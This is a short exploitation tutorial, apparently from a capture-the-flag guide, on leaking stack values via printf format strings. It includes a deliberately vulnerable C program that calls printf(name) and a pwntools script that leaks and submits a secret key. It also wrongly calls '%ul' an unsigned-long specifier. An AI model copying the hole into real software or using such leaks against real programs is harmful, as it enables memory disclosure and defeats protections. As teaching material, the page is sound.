printf Leak #
Description #
It is possible to leak variables in a function by abusing printf
. If you can control the format string, you can send a bunch of format specifiers
such as %s
for strings, and %ul
for numbers (unsigned long). This will leak values of the stack which will become much more important in the future as we start enabling default memory protections such as PIE and canaries.
Example #
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
// gcc -g -o chal chal.c
int main() {
srand(time(NULL));
long key = rand();
long guess = 0;
char name[32];
puts("Welcome! If you can guess the number, you get the flag!");
// Username
puts("First, what is your name:");
fgets(name, 31, stdin);
puts("Welcome:");
printf(name);
// Guess
puts("Now, guess the number:");
scanf("%d", &guess);
if (guess == key) {
puts("Impressive. flag{win}");
} else {
printf("Sorry, better luck next time. The number was: %lu\n", key);
}
}
Solution #
Send a number of %ul as the username till we find the key.
Solve Script #
import pwn
pwn.context.log_level = "critical"
p = pwn.process("./chal")
# Find the offset
p.sendlineafter(b"name:", b" %ul"*7)
p.recvuntil(b"Welcome:\n")
number = p.recvline().decode().split(" ")[-1].strip()
print(f"{number=}")
p.sendlineafter(b"number:", number.encode())
p.interactive()